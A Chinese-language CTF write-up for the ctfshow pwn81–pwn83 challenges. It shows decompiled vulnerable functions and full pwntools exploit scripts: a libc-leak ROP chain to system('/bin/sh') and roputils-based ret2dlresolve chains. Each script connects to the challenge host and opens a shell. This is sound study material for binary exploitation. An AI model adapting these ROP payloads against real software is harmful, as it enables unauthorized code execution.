# 收获的题目

# pwn81(开启 pie,利用 libc 的 system 地址得到 libc 基地址)

dlopen 函数是打开一个动态共享库

dlsym 函数是在打开的动态库中查找符号的值,返回该符号(函数 / 变量)的地址

# 题目:

题目描述: ROP变种

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

main:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rax
  void *handle; // [rsp+8h] [rbp-8h]
  init(argc, argv, envp);
  logo();
  puts("Maybe it's simple,O.o");
  handle = dlopen("libc.so.6", 258);
  v3 = dlsym(handle, "system");
  printf("%p\n", v3);
  ctfshow();
  write(1, "Hello CTFshow!\n", 0xFuLL);
  return 0;
}

ctfshow:

c
ssize_t ctfshow()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF
  return read(0, buf, 0x100uLL);
}

打印了 system 的地址,我们写入一个 /bin/sh ,就可以执行,反正可以溢出,
接着需要考虑如何泄露 /bin/sh 的地址,或者这里用的得到的 libc 里 system 的地址来推出 libc 的地址去得到 /bin/sh ,这里还有注意 栈对齐 ,没找的 ret 就利用了 nop ; ret 的地址

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./pwn81')
e=ELF('./pwn81')
p=remote("pwn.challenge.ctf.show",28271)
libc=ELF("./64libc.so.6")
#p=remote('node4.buuoj.cn',28249)
rdi_ret=0x000000000002164f #libc.so.6 的 pop_rdi;ret 地址
nop_ret=0x000000000001b5a8 #来进行栈对齐的相当于 ret
p.recvuntil("O.o\n")
system_r=int(p.recv(14),16)
#libc=LibcSearcher("system",system_r)
libc_base=system_r-libc.sym["system"]
binsh=libc_base+next(libc.search(b"/bin/sh"))
print("system:",hex(system_r))
print("binsh:",hex(binsh))
payload=b"a"*(0x80+8)+p64(libc_base+nop_ret)+p64(libc_base+rdi_ret)+p64(binsh)+p64(system_r)
p.send(payload)
p.interactive()

# pwn82 (32 位 dl_runtime_resolve , NO-RELRO )

# 题目:

题目描述: 高级ROP 32 位 NO-RELRO

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

保护只有 nx

这里利用 ret2libc 可以得到 flag,但是这里进行 dl_runtime_resolve 学习,所以换个方式

关于 ret2dlresolve 的利用,看专题 ret2dlresolve

main函数:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
  int *v6; // [esp+70h] [ebp-Ch]
  v6 = &argc;
  strcpy(buf, "Welcome to CTFshowPWN!\n");
  memset(&buf[24], 0, 0x4Cu);
  setbuf(stdout, buf);
  v3 = strlen(buf);
  write(1, buf, v3);
  show();
  return 0;
}

show函数:

c
ssize_t show()
{
  char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF
  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}

可以进行溢出

这里直接利用 roputils 库构造 (需要将 roputils 文件放入同一文件夹下,并且 python3 无法执行):


from pwn import *

from roputils import *
processName = 'pwn82'
offset = 112

#r = process('./' + processName)
context.log_level = 'debug'
r=remote("pwn.challenge.ctf.show", 28147)
rop = ROP('./' + processName)

bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

# pwn83 (ret2dlresolve,32 位 Partial-RELRO)

32 位程序,开启了部分 RELRO

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax
  char buf[112]; // [esp+0h] [ebp-7Ch] BYREF
  int *v6; // [esp+70h] [ebp-Ch]
  v6 = &argc;
  strcpy(buf, "Welcome to CTFshowPWN!\n");
  memset(&buf[24], 0, 0x4Cu);
  setbuf(stdout, buf);
  v3 = strlen(buf);
  write(1, buf, v3);
  show();
  return 0;
}
ssize_t show()
{
  char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF
  setbuf(stdin, buf);
  return read(0, buf, 0x100u);
}

仍然利用 roputils 一把梭

n
from pwn import *
from roputils import *
processName = 'pwn83'
offset = 112
#r = process('./' + processName)
context.log_level = 'debug'
r=remote("pwn.challenge.ctf.show", 28128)
rop = ROP('./' + processName)
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()